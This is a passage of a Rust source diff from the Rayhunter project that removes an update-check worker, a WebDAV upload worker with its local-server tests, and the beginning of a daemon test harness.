#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
|
|
||||||
pub struct UpdateStatus {
|
|
||||||
pub current_version: String,
|
|
||||||
#[serde(skip_serializing_if = "Option::is_none")]
|
|
||||||
pub latest_version: Option<String>,
|
|
||||||
#[serde(skip_serializing_if = "Option::is_none")]
|
|
||||||
pub latest_release_url: Option<String>,
|
|
||||||
pub update_available: bool,
|
|
||||||
#[serde(skip_serializing_if = "Option::is_none")]
|
|
||||||
#[cfg_attr(feature = "apidocs", schema(value_type = Option<String>, format = "date-time"))]
|
|
||||||
pub last_checked: Option<DateTime<Local>>,
|
|
||||||
#[serde(skip_serializing_if = "Option::is_none")]
|
|
||||||
pub last_error: Option<String>,
|
|
||||||
}
|
|
||||||
|
|
||||||
impl Default for UpdateStatus {
|
|
||||||
fn default() -> Self {
|
|
||||||
Self {
|
|
||||||
current_version: get_current_version(),
|
|
||||||
// To-be-populated by update check worker
|
|
||||||
latest_version: None,
|
|
||||||
latest_release_url: None,
|
|
||||||
update_available: false,
|
|
||||||
last_checked: None,
|
|
||||||
last_error: None,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[derive(Debug, Deserialize)]
|
|
||||||
struct GitHubReleaseResponse {
|
|
||||||
tag_name: String,
|
|
||||||
html_url: String,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[derive(Debug, Clone, Copy, Eq, PartialEq, Ord, PartialOrd)]
|
|
||||||
struct VersionParts {
|
|
||||||
major: u64,
|
|
||||||
minor: u64,
|
|
||||||
patch: u64,
|
|
||||||
}
|
|
||||||
|
|
||||||
fn get_current_version() -> String {
|
|
||||||
// See https://doc.rust-lang.org/cargo/reference/environment-variables.html#environment-variables-cargo-sets-for-crates
|
|
||||||
env!("CARGO_PKG_VERSION").to_owned()
|
|
||||||
}
|
|
||||||
|
|
||||||
fn parse_release_tagname(version: &str) -> Option<(VersionParts, String)> {
|
|
||||||
// Trim whitespace and leading `v`, if any
|
|
||||||
let trimmed_version = version.trim().trim_start_matches('v');
|
|
||||||
let mut parts = trimmed_version.split('.');
|
|
||||||
|
|
||||||
// Fail on versions with pre-release metadata: https://github.com/EFForg/rayhunter/pull/1054#issuecomment-4528407281
|
|
||||||
let major = parts.next()?.parse::<u64>().ok()?;
|
|
||||||
let minor = parts.next()?.parse::<u64>().ok()?;
|
|
||||||
let patch = parts.next()?.parse::<u64>().ok()?;
|
|
||||||
// Expect only major.minor.patch format
|
|
||||||
if parts.next().is_some() {
|
|
||||||
return None;
|
|
||||||
}
|
|
||||||
|
|
||||||
let version = format!("{}.{}.{}", major, minor, patch);
|
|
||||||
Some((
|
|
||||||
VersionParts {
|
|
||||||
major,
|
|
||||||
minor,
|
|
||||||
patch,
|
|
||||||
},
|
|
||||||
version.to_string(),
|
|
||||||
))
|
|
||||||
}
|
|
||||||
|
|
||||||
fn format_update_message(current_version: &str, latest_version: &str, release_url: &str) -> String {
|
|
||||||
format!(
|
|
||||||
"Rayhunter {current_version} is installed, but {latest_version} is available. Open {release_url} to download the update."
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn refresh_update_status(
|
|
||||||
status_lock: &Arc<RwLock<UpdateStatus>>,
|
|
||||||
http_client: &reqwest::Client,
|
|
||||||
) -> Result<Option<(String, String)>, String> {
|
|
||||||
let response = http_client
|
|
||||||
.get(GITHUB_LATEST_RELEASE_URL)
|
|
||||||
.timeout(Duration::from_secs(5))
|
|
||||||
.header(reqwest::header::USER_AGENT, "rayhunter-update-checker")
|
|
||||||
.send()
|
|
||||||
.await
|
|
||||||
.map_err(|err| format!("failed to query GitHub releases: {err}"))?;
|
|
||||||
|
|
||||||
if !response.status().is_success() {
|
|
||||||
return Err(format!(
|
|
||||||
"GitHub release check returned {}",
|
|
||||||
response.status()
|
|
||||||
));
|
|
||||||
}
|
|
||||||
|
|
||||||
let response_text = response
|
|
||||||
.text()
|
|
||||||
.await
|
|
||||||
.map_err(|err| format!("failed to read GitHub release response: {err}"))?;
|
|
||||||
let release: GitHubReleaseResponse = serde_json::from_str(&response_text)
|
|
||||||
.map_err(|err| format!("failed to parse GitHub release response: {err}"))?;
|
|
||||||
|
|
||||||
let current_version = get_current_version();
|
|
||||||
let (current_version_parts, current_version) = parse_release_tagname(¤t_version)
|
|
||||||
.ok_or_else(|| format!("failed to parse current version {current_version}"))?;
|
|
||||||
let (latest_version_parts, latest_version) = parse_release_tagname(&release.tag_name)
|
|
||||||
.ok_or_else(|| {
|
|
||||||
format!(
|
|
||||||
"failed to parse latest release version {}",
|
|
||||||
release.tag_name
|
|
||||||
)
|
|
||||||
})?;
|
|
||||||
|
|
||||||
let update_available = latest_version_parts > current_version_parts;
|
|
||||||
{
|
|
||||||
let mut status = status_lock.write().await;
|
|
||||||
status.current_version = current_version;
|
|
||||||
status.latest_version = Some(latest_version.to_owned());
|
|
||||||
status.latest_release_url = Some(release.html_url.to_owned());
|
|
||||||
status.update_available = update_available;
|
|
||||||
status.last_checked = Some(Local::now());
|
|
||||||
status.last_error = None;
|
|
||||||
}
|
|
||||||
|
|
||||||
if update_available {
|
|
||||||
Ok(Some((latest_version, release.html_url)))
|
|
||||||
} else {
|
|
||||||
Ok(None)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn run_update_check_worker(
|
|
||||||
task_tracker: &TaskTracker,
|
|
||||||
shutdown_token: CancellationToken,
|
|
||||||
update_status_lock: Arc<RwLock<UpdateStatus>>,
|
|
||||||
notification_sender: Sender<Notification>,
|
|
||||||
enabled_notifications: Vec<NotificationType>,
|
|
||||||
) {
|
|
||||||
task_tracker.spawn(async move {
|
|
||||||
let http_client = match reqwest::Client::builder().build() {
|
|
||||||
Ok(client) => client,
|
|
||||||
Err(err) => {
|
|
||||||
error!("failed to create update check client: {err}");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
let mut interval = time::interval(UPDATE_CHECK_INTERVAL);
|
|
||||||
interval.set_missed_tick_behavior(MissedTickBehavior::Skip);
|
|
||||||
|
|
||||||
// Keep track of last notified version
|
|
||||||
let mut last_notified_version: Option<String> = None;
|
|
||||||
|
|
||||||
loop {
|
|
||||||
if shutdown_token.is_cancelled() {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
match refresh_update_status(&update_status_lock, &http_client).await {
|
|
||||||
Ok(Some((latest_version, latest_release_url))) => {
|
|
||||||
if last_notified_version.as_deref() != Some(latest_version.as_str()) {
|
|
||||||
let current_version =
|
|
||||||
update_status_lock.read().await.current_version.clone();
|
|
||||||
let message = format_update_message(
|
|
||||||
¤t_version,
|
|
||||||
&latest_version,
|
|
||||||
&latest_release_url,
|
|
||||||
);
|
|
||||||
if enabled_notifications.contains(&NotificationType::Update) {
|
|
||||||
if let Err(err) = notification_sender
|
|
||||||
.send(Notification::new(NotificationType::Update, message, None))
|
|
||||||
.await
|
|
||||||
{
|
|
||||||
error!("failed to enqueue update notification: {err}");
|
|
||||||
} else {
|
|
||||||
info!("notified about Rayhunter update {latest_version}");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
last_notified_version = Some(latest_version);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Ok(None) => {
|
|
||||||
last_notified_version = None;
|
|
||||||
}
|
|
||||||
Err(err) => {
|
|
||||||
warn!("update check failed: {err}");
|
|
||||||
let mut status = update_status_lock.write().await;
|
|
||||||
status.last_error = Some(err);
|
|
||||||
status.last_checked = Some(Local::now());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
select! {
|
|
||||||
_ = shutdown_token.cancelled() => break,
|
|
||||||
_ = interval.tick() => {}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(test)]
|
|
||||||
mod tests {
|
|
||||||
use super::parse_release_tagname;
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn parses_simple_versions() {
|
|
||||||
let (parts, version) = parse_release_tagname("0.11.1").unwrap();
|
|
||||||
assert_eq!(parts.major, 0);
|
|
||||||
assert_eq!(parts.minor, 11);
|
|
||||||
assert_eq!(parts.patch, 1);
|
|
||||||
assert_eq!(version, "0.11.1");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn returns_none_for_invalid_versions() {
|
|
||||||
assert!(parse_release_tagname("invalid").is_none());
|
|
||||||
assert!(parse_release_tagname("v1.2").is_none());
|
|
||||||
assert!(parse_release_tagname("v1.2.x").is_none());
|
|
||||||
assert!(parse_release_tagname("v1.2.3.4").is_none());
|
|
||||||
assert!(parse_release_tagname("v1.2.-3").is_none());
|
|
||||||
assert!(parse_release_tagname("v1.2.3-beta").is_none());
|
|
||||||
assert!(parse_release_tagname("v1.2.3-beta.1").is_none());
|
|
||||||
assert!(parse_release_tagname("1.2").is_none());
|
|
||||||
assert!(parse_release_tagname("1.2.x").is_none());
|
|
||||||
assert!(parse_release_tagname("1.2.3.4").is_none());
|
|
||||||
assert!(parse_release_tagname("1.2.-3").is_none());
|
|
||||||
assert!(parse_release_tagname("1.2.3-beta").is_none());
|
|
||||||
assert!(parse_release_tagname("1.2.3-beta.1").is_none());
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn compares_versions_numerically() {
|
|
||||||
let (newer_version_parts, newer_version) = parse_release_tagname("v0.11.2").unwrap();
|
|
||||||
let (older_version_parts, older_version) = parse_release_tagname("v0.11.1").unwrap();
|
|
||||||
assert!(newer_version_parts > older_version_parts);
|
|
||||||
assert_eq!(newer_version, "0.11.2");
|
|
||||||
assert_eq!(older_version, "0.11.1");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn compares_major_minor_patch_correctly() {
|
|
||||||
let (v1_parts, v1) = parse_release_tagname("v1.0.0").unwrap();
|
|
||||||
let (v2_parts, v2) = parse_release_tagname("v1.0.1").unwrap();
|
|
||||||
let (v3_parts, v3) = parse_release_tagname("v1.1.0").unwrap();
|
|
||||||
let (v4_parts, v4) = parse_release_tagname("v2.0.0").unwrap();
|
|
||||||
|
|
||||||
assert!(v2_parts > v1_parts);
|
|
||||||
assert!(v3_parts > v2_parts);
|
|
||||||
assert!(v4_parts > v3_parts);
|
|
||||||
|
|
||||||
assert_eq!(v1, "1.0.0");
|
|
||||||
assert_eq!(v2, "1.0.1");
|
|
||||||
assert_eq!(v3, "1.1.0");
|
|
||||||
assert_eq!(v4, "2.0.0");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,424 +0,0 @@
|
|||||||
use std::{sync::Arc, time::Duration};
|
|
||||||
|
|
||||||
use chrono::TimeDelta;
|
|
||||||
use futures::future::join_all;
|
|
||||||
use log::{info, warn};
|
|
||||||
use reqwest::header::{CONTENT_LENGTH, CONTENT_TYPE};
|
|
||||||
use reqwest::{Body, Client, Response};
|
|
||||||
use tokio::fs::File;
|
|
||||||
use tokio::{select, sync::RwLock, time};
|
|
||||||
use tokio_util::io::ReaderStream;
|
|
||||||
use tokio_util::{sync::CancellationToken, task::TaskTracker};
|
|
||||||
|
|
||||||
use crate::config::WebdavConfig;
|
|
||||||
use crate::qmdl_store::{FileKind, RecordingStore};
|
|
||||||
|
|
||||||
pub struct WebdavUploadWorkerConfig {
|
|
||||||
poll_interval: Duration,
|
|
||||||
min_age: TimeDelta,
|
|
||||||
url: String,
|
|
||||||
username: Option<String>,
|
|
||||||
password: Option<String>,
|
|
||||||
timeout: Duration,
|
|
||||||
delete_on_upload: bool,
|
|
||||||
}
|
|
||||||
|
|
||||||
impl From<WebdavConfig> for WebdavUploadWorkerConfig {
|
|
||||||
fn from(value: WebdavConfig) -> Self {
|
|
||||||
WebdavUploadWorkerConfig {
|
|
||||||
poll_interval: Duration::from_secs(value.poll_interval_secs),
|
|
||||||
min_age: TimeDelta::seconds(value.min_age_secs),
|
|
||||||
url: value.url,
|
|
||||||
username: value.username,
|
|
||||||
password: value.password,
|
|
||||||
timeout: Duration::from_secs(value.upload_timeout_secs),
|
|
||||||
delete_on_upload: value.delete_on_upload,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[derive(Debug, Clone)]
|
|
||||||
struct WebDavClient {
|
|
||||||
client: Client,
|
|
||||||
url: String,
|
|
||||||
username: Option<String>,
|
|
||||||
password: Option<String>,
|
|
||||||
}
|
|
||||||
|
|
||||||
impl WebDavClient {
|
|
||||||
fn new(
|
|
||||||
mut url: String,
|
|
||||||
username: Option<String>,
|
|
||||||
password: Option<String>,
|
|
||||||
timeout: Duration,
|
|
||||||
) -> Result<Self, reqwest::Error> {
|
|
||||||
if !url.ends_with('/') {
|
|
||||||
url.push('/');
|
|
||||||
}
|
|
||||||
Ok(Self {
|
|
||||||
client: reqwest::Client::builder().timeout(timeout).build()?,
|
|
||||||
url,
|
|
||||||
username,
|
|
||||||
password,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn try_upload_file(&self, file: File, name: &str) -> anyhow::Result<Response> {
|
|
||||||
let file_size = file.metadata().await?.len();
|
|
||||||
|
|
||||||
let stream = ReaderStream::new(file);
|
|
||||||
let body = Body::wrap_stream(stream);
|
|
||||||
|
|
||||||
let target = format!("{}{}", self.url, name);
|
|
||||||
|
|
||||||
let client = self
|
|
||||||
.client
|
|
||||||
.put(&target)
|
|
||||||
.header(CONTENT_TYPE, "application/octet-stream")
|
|
||||||
.header(CONTENT_LENGTH, file_size);
|
|
||||||
|
|
||||||
let client = match (&self.username, &self.password) {
|
|
||||||
(Some(username), Some(password)) => client.basic_auth(username, Some(password)),
|
|
||||||
(Some(username), None) => client.basic_auth(username, None::<&str>),
|
|
||||||
(None, None) => client,
|
|
||||||
(None, Some(_)) => {
|
|
||||||
warn!(
|
|
||||||
"Got WebDAV auth setting with no username but with a password, skipping authentication"
|
|
||||||
);
|
|
||||||
client
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
let resp = client.body(body).send().await?.error_for_status();
|
|
||||||
Ok(resp?)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn try_upload_entry(
|
|
||||||
client: WebDavClient,
|
|
||||||
store: Arc<RwLock<RecordingStore>>,
|
|
||||||
entry_name: String,
|
|
||||||
file_kind: FileKind,
|
|
||||||
shutdown_token: CancellationToken,
|
|
||||||
) -> Option<()> {
|
|
||||||
let read_lock = store.read().await;
|
|
||||||
let entry_idx = read_lock.entry_for_name(&entry_name)?.0;
|
|
||||||
let file = read_lock.open_file(entry_idx, file_kind).await;
|
|
||||||
drop(read_lock);
|
|
||||||
|
|
||||||
let file = match file {
|
|
||||||
Ok(Some(f)) => f,
|
|
||||||
Ok(None) => return Some(()), // File doesn't exist (e.g., GPS for old recordings)
|
|
||||||
Err(err) => {
|
|
||||||
warn!(
|
|
||||||
"Unable to open entry: {} {} file: {:?}",
|
|
||||||
entry_name, file_kind, err
|
|
||||||
);
|
|
||||||
return None;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
let file_name = file_kind.get_filename(&entry_name);
|
|
||||||
|
|
||||||
let res = select! {
|
|
||||||
_ = shutdown_token.cancelled() => {
|
|
||||||
warn!(
|
|
||||||
"Cancelling upload for entry {} {} file: received shutdown signal",
|
|
||||||
entry_name, file_kind
|
|
||||||
);
|
|
||||||
return None;
|
|
||||||
},
|
|
||||||
res = client.try_upload_file(file, &file_name) => res,
|
|
||||||
};
|
|
||||||
|
|
||||||
match res {
|
|
||||||
Ok(_) => {
|
|
||||||
info!("Uploaded {} file for entry {}", file_kind, entry_name);
|
|
||||||
Some(())
|
|
||||||
}
|
|
||||||
Err(err) => {
|
|
||||||
warn!(
|
|
||||||
"Failed to upload {} file for entry {}: {:?}",
|
|
||||||
file_kind, entry_name, err
|
|
||||||
);
|
|
||||||
None
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn run_webdav_upload_worker(
|
|
||||||
task_tracker: &TaskTracker,
|
|
||||||
shutdown_token: CancellationToken,
|
|
||||||
qmdl_store_lock: Arc<RwLock<RecordingStore>>,
|
|
||||||
config: WebdavUploadWorkerConfig,
|
|
||||||
) {
|
|
||||||
task_tracker.spawn(async move {
|
|
||||||
let mut interval = time::interval(config.poll_interval);
|
|
||||||
interval.set_missed_tick_behavior(time::MissedTickBehavior::Skip);
|
|
||||||
|
|
||||||
let webdav_client = match WebDavClient::new(
|
|
||||||
config.url,
|
|
||||||
config.username,
|
|
||||||
config.password,
|
|
||||||
config.timeout,
|
|
||||||
) {
|
|
||||||
Ok(client) => client,
|
|
||||||
Err(err) => {
|
|
||||||
warn!("Unable to create WebDAV client: {:?}", err);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
loop {
|
|
||||||
select! {
|
|
||||||
_ = shutdown_token.cancelled() => break,
|
|
||||||
_ = interval.tick() => {
|
|
||||||
loop {
|
|
||||||
let Some(unuploaded_entry) = qmdl_store_lock
|
|
||||||
.read()
|
|
||||||
.await
|
|
||||||
.get_next_unuploaded_entry(config.min_age) else {
|
|
||||||
break;
|
|
||||||
};
|
|
||||||
|
|
||||||
let upload_futures: Vec<_> = FileKind::ALL
|
|
||||||
.iter()
|
|
||||||
.map(|&file_kind| {
|
|
||||||
try_upload_entry(
|
|
||||||
webdav_client.clone(),
|
|
||||||
qmdl_store_lock.clone(),
|
|
||||||
unuploaded_entry.clone(),
|
|
||||||
file_kind,
|
|
||||||
shutdown_token.clone(),
|
|
||||||
)
|
|
||||||
})
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
let results = join_all(upload_futures).await;
|
|
||||||
if !results.iter().all(|r| r.is_some()) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
if config.delete_on_upload {
|
|
||||||
match qmdl_store_lock.write().await.delete_entry(&unuploaded_entry).await {
|
|
||||||
Ok(_) => info!("Successfully deleted entry: {} after upload to WebDAV", unuploaded_entry),
|
|
||||||
Err(err) => warn!("Unable to delete entry: {} after upload to WebDAV: {}", unuploaded_entry, err),
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
match qmdl_store_lock.write().await.mark_entry_as_uploaded(&unuploaded_entry, rayhunter::clock::get_adjusted_now()).await {
|
|
||||||
Ok(_) => info!("Successfully marked entry: {} as uploaded", unuploaded_entry),
|
|
||||||
Err(err) => warn!("Unable to mark entry: {} as uploaded: {}", unuploaded_entry, err),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(test)]
|
|
||||||
mod tests {
|
|
||||||
use super::*;
|
|
||||||
use crate::config::GpsMode;
|
|
||||||
use axum::{
|
|
||||||
Router,
|
|
||||||
body::Bytes,
|
|
||||||
extract::{Path as AxumPath, State},
|
|
||||||
http::{HeaderMap, StatusCode},
|
|
||||||
routing::put,
|
|
||||||
};
|
|
||||||
use tempfile::Builder;
|
|
||||||
use tokio::io::AsyncWriteExt;
|
|
||||||
use tokio::net::TcpListener;
|
|
||||||
use tokio::sync::Mutex;
|
|
||||||
|
|
||||||
#[derive(Clone, Debug)]
|
|
||||||
struct RecordedPut {
|
|
||||||
path: String,
|
|
||||||
auth: Option<String>,
|
|
||||||
body: Vec<u8>,
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn capture_put(
|
|
||||||
State(state): State<Arc<Mutex<Vec<RecordedPut>>>>,
|
|
||||||
AxumPath(path): AxumPath<String>,
|
|
||||||
headers: HeaderMap,
|
|
||||||
body: Bytes,
|
|
||||||
) -> StatusCode {
|
|
||||||
let auth = headers
|
|
||||||
.get("authorization")
|
|
||||||
.and_then(|v| v.to_str().ok())
|
|
||||||
.map(String::from);
|
|
||||||
state.lock().await.push(RecordedPut {
|
|
||||||
path,
|
|
||||||
auth,
|
|
||||||
body: body.to_vec(),
|
|
||||||
});
|
|
||||||
StatusCode::CREATED
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn setup_webdav_server() -> (Arc<Mutex<Vec<RecordedPut>>>, String) {
|
|
||||||
crate::crypto_provider::install_default();
|
|
||||||
|
|
||||||
let state = Arc::new(Mutex::new(Vec::new()));
|
|
||||||
let app = Router::new()
|
|
||||||
.route("/{*path}", put(capture_put))
|
|
||||||
.with_state(state.clone());
|
|
||||||
|
|
||||||
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
|
|
||||||
let addr = listener.local_addr().unwrap();
|
|
||||||
let url = format!("http://{}/dav", addr);
|
|
||||||
|
|
||||||
tokio::spawn(async move {
|
|
||||||
axum::serve(listener, app).await.unwrap();
|
|
||||||
});
|
|
||||||
|
|
||||||
tokio::time::sleep(Duration::from_millis(100)).await;
|
|
||||||
|
|
||||||
(state, url)
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn cleanup_worker(shutdown: CancellationToken, tracker: TaskTracker) {
|
|
||||||
shutdown.cancel();
|
|
||||||
tracker.close();
|
|
||||||
tracker.wait().await;
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn make_store_with_closed_entry(
|
|
||||||
dir: &std::path::Path,
|
|
||||||
) -> (Arc<RwLock<RecordingStore>>, String) {
|
|
||||||
let mut store = RecordingStore::create(dir).await.unwrap();
|
|
||||||
let (mut qmdl_file, mut analysis_file) = store.new_entry(GpsMode::Disabled).await.unwrap();
|
|
||||||
qmdl_file.write_all(b"fake qmdl payload").await.unwrap();
|
|
||||||
qmdl_file.flush().await.unwrap();
|
|
||||||
analysis_file
|
|
||||||
.write_all(b"fake ndjson payload")
|
|
||||||
.await
|
|
||||||
.unwrap();
|
|
||||||
analysis_file.flush().await.unwrap();
|
|
||||||
let entry_index = store.current_entry.unwrap();
|
|
||||||
let name = store.manifest.entries[entry_index].name.clone();
|
|
||||||
store.update_entry_qmdl_size(entry_index, 17).await.unwrap();
|
|
||||||
store.close_current_entry().await.unwrap();
|
|
||||||
(Arc::new(RwLock::new(store)), name)
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_webdav_upload_worker_uploads_entry() {
|
|
||||||
let (captured, url) = setup_webdav_server().await;
|
|
||||||
|
|
||||||
let dir = Builder::new().prefix("webdav_test").tempdir().unwrap();
|
|
||||||
let (store, entry_name) = make_store_with_closed_entry(dir.path()).await;
|
|
||||||
|
|
||||||
let shutdown = CancellationToken::new();
|
|
||||||
let tracker = TaskTracker::new();
|
|
||||||
let config = WebdavUploadWorkerConfig {
|
|
||||||
poll_interval: Duration::from_millis(50),
|
|
||||||
min_age: TimeDelta::seconds(-1),
|
|
||||||
url,
|
|
||||||
username: Some("user".to_string()),
|
|
||||||
password: Some("password".to_string()),
|
|
||||||
timeout: Duration::from_secs(1),
|
|
||||||
delete_on_upload: false,
|
|
||||||
};
|
|
||||||
|
|
||||||
run_webdav_upload_worker(&tracker, shutdown.clone(), store.clone(), config);
|
|
||||||
|
|
||||||
tokio::time::sleep(Duration::from_millis(500)).await;
|
|
||||||
cleanup_worker(shutdown, tracker).await;
|
|
||||||
|
|
||||||
let recorded = captured.lock().await;
|
|
||||||
assert_eq!(recorded.len(), 3);
|
|
||||||
let paths: Vec<&str> = recorded.iter().map(|r| r.path.as_str()).collect();
|
|
||||||
let qmdl_path = format!("dav/{}.qmdl", entry_name);
|
|
||||||
let ndjson_path = format!("dav/{}.ndjson", entry_name);
|
|
||||||
let gps_path = format!("dav/{}-gps.ndjson", entry_name);
|
|
||||||
assert!(paths.contains(&qmdl_path.as_str()));
|
|
||||||
assert!(paths.contains(&ndjson_path.as_str()));
|
|
||||||
assert!(paths.contains(&gps_path.as_str()));
|
|
||||||
for put in recorded.iter() {
|
|
||||||
assert_eq!(put.auth.as_deref(), Some("Basic dXNlcjpwYXNzd29yZA=="));
|
|
||||||
}
|
|
||||||
let qmdl_body = recorded
|
|
||||||
.iter()
|
|
||||||
.find(|r| r.path == qmdl_path)
|
|
||||||
.unwrap()
|
|
||||||
.body
|
|
||||||
.clone();
|
|
||||||
let ndjson_body = recorded
|
|
||||||
.iter()
|
|
||||||
.find(|r| r.path == ndjson_path)
|
|
||||||
.unwrap()
|
|
||||||
.body
|
|
||||||
.clone();
|
|
||||||
drop(recorded);
|
|
||||||
assert_eq!(qmdl_body, b"fake qmdl payload");
|
|
||||||
assert_eq!(ndjson_body, b"fake ndjson payload");
|
|
||||||
|
|
||||||
let store_read = store.read().await;
|
|
||||||
let (_, entry) = store_read.entry_for_name(&entry_name).unwrap();
|
|
||||||
assert!(entry.upload_time.is_some());
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_webdav_upload_worker_deletes_when_configured() {
|
|
||||||
let (captured, url) = setup_webdav_server().await;
|
|
||||||
|
|
||||||
let dir = Builder::new().prefix("webdav_test").tempdir().unwrap();
|
|
||||||
let (store, entry_name) = make_store_with_closed_entry(dir.path()).await;
|
|
||||||
|
|
||||||
let shutdown = CancellationToken::new();
|
|
||||||
let tracker = TaskTracker::new();
|
|
||||||
let config = WebdavUploadWorkerConfig {
|
|
||||||
poll_interval: Duration::from_millis(50),
|
|
||||||
min_age: TimeDelta::seconds(-1),
|
|
||||||
url,
|
|
||||||
username: None,
|
|
||||||
password: None,
|
|
||||||
timeout: Duration::from_secs(1),
|
|
||||||
delete_on_upload: true,
|
|
||||||
};
|
|
||||||
|
|
||||||
run_webdav_upload_worker(&tracker, shutdown.clone(), store.clone(), config);
|
|
||||||
|
|
||||||
tokio::time::sleep(Duration::from_millis(500)).await;
|
|
||||||
cleanup_worker(shutdown, tracker).await;
|
|
||||||
|
|
||||||
assert_eq!(captured.lock().await.len(), 3);
|
|
||||||
|
|
||||||
let store_read = store.read().await;
|
|
||||||
assert!(store_read.entry_for_name(&entry_name).is_none());
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_webdav_upload_worker_respects_min_age() {
|
|
||||||
let (captured, url) = setup_webdav_server().await;
|
|
||||||
|
|
||||||
let dir = Builder::new().prefix("webdav_test").tempdir().unwrap();
|
|
||||||
let (store, entry_name) = make_store_with_closed_entry(dir.path()).await;
|
|
||||||
|
|
||||||
let shutdown = CancellationToken::new();
|
|
||||||
let tracker = TaskTracker::new();
|
|
||||||
let config = WebdavUploadWorkerConfig {
|
|
||||||
poll_interval: Duration::from_millis(50),
|
|
||||||
min_age: TimeDelta::seconds(3600),
|
|
||||||
url,
|
|
||||||
username: None,
|
|
||||||
password: None,
|
|
||||||
timeout: Duration::from_secs(1),
|
|
||||||
delete_on_upload: false,
|
|
||||||
};
|
|
||||||
|
|
||||||
run_webdav_upload_worker(&tracker, shutdown.clone(), store.clone(), config);
|
|
||||||
|
|
||||||
tokio::time::sleep(Duration::from_millis(500)).await;
|
|
||||||
cleanup_worker(shutdown, tracker).await;
|
|
||||||
|
|
||||||
assert!(captured.lock().await.is_empty());
|
|
||||||
|
|
||||||
let store_read = store.read().await;
|
|
||||||
let (_, entry) = store_read.entry_for_name(&entry_name).unwrap();
|
|
||||||
assert!(entry.upload_time.is_none());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,185 +0,0 @@
|
|||||||
use std::io::Read;
|
|
||||||
use std::net::{TcpListener, TcpStream};
|
|
||||||
use std::process::{Child, Command, ExitStatus, Stdio};
|
|
||||||
use std::sync::{Arc, Mutex};
|
|
||||||
use std::time::{Duration, Instant};
|
|
||||||
|
|
||||||
use tempfile::TempDir;
|
|
||||||
|
|
||||||
const STARTUP_TIMEOUT: Duration = Duration::from_secs(5);
|
|
||||||
const REQUEST_TIMEOUT: Duration = Duration::from_secs(5);
|
|
||||||
const SHUTDOWN_TIMEOUT: Duration = Duration::from_secs(5);
|
|
||||||
|
|
||||||
struct DaemonGuard {
|
|
||||||
child: Option<Child>,
|
|
||||||
stderr: Arc<Mutex<Vec<u8>>>,
|
|
||||||
}
|
|
||||||
|
|
||||||
impl DaemonGuard {
|
|
||||||
fn stderr_dump(&self) -> String {
|
|
||||||
let buf = self.stderr.lock().unwrap();
|
|
||||||
String::from_utf8_lossy(&buf).into_owned()
|
|
||||||
}
|
|
||||||
|
|
||||||
fn shutdown(&mut self, timeout: Duration) -> std::io::Result<ExitStatus> {
|
|
||||||
let mut child = self
|
|
||||||
.child
|
|
||||||
.take()
|
|
||||||
.expect("daemon already shut down or never started");
|
|
||||||
|
|
||||||
#[cfg(unix)]
|
|
||||||
{
|
|
||||||
let pid = child.id() as libc::pid_t;
|
|
||||||
// SAFETY: child.id() returns the OS pid of a process we own.
|
|
||||||
unsafe { libc::kill(pid, libc::SIGINT) };
|
|
||||||
}
|
|
||||||
#[cfg(not(unix))]
|
|
||||||
{
|
|
||||||
let _ = child.kill();
|
|
||||||
}
|
|
||||||
|
|
||||||
let start = Instant::now();
|
|
||||||
loop {
|
|
||||||
match child.try_wait()? {
|
|
||||||
Some(status) => return Ok(status),
|
|
||||||
None => {
|
|
||||||
if start.elapsed() >= timeout {
|
|
||||||
let _ = child.kill();
|
|
||||||
return child.wait();
|
|
||||||
}
|
|
||||||
std::thread::sleep(Duration::from_millis(50));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
impl Drop for DaemonGuard {
|
|
||||||
fn drop(&mut self) {
|
|
||||||
if let Some(mut child) = self.child.take() {
|
|
||||||
let _ = child.kill();
|
|
||||||
let _ = child.wait();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
fn pick_free_port() -> u16 {
|
|
||||||
